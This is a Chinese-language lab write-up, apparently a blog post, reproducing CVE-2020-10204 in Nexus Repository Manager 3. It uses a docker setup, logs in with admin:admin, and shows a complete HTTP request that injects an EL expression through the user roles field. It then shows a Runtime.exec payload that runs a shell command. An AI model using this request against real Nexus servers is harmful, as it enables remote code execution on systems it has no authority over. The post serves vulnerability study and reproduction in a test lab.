Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
漏洞环境
执行如下命令启动Nexus Repository Manager 3.21.1:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175517229-1560483432.png)
等待一段时间环境才能成功启动,访问http://your-ip:8081
即可看到Web页面。
该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin
登录后台。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175517229-1072285298.png)
漏洞复现
登录后台后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175517233-1092912845.png)
点击查看代码
POST /service/extdirect HTTP/1.1
Host: 192.168.75.130:8081
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.020684517362389077
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.3:8081
Referer: http://192.168.1.3:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.020684517362389077; NXSESSIONID=5bca2c1e-15ba-47b8-b638-a0de8da5d164
Connection: close
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175517236-1661819983.png)
参考https://github.com/jas502n/CVE-2020-10199,使用表达式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
即可成功执行任意命令:
和POC不一样的地方就是,把
$\\B{233*233}
替换成
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175517241-1732903644.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175517243-561118606.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16281832.html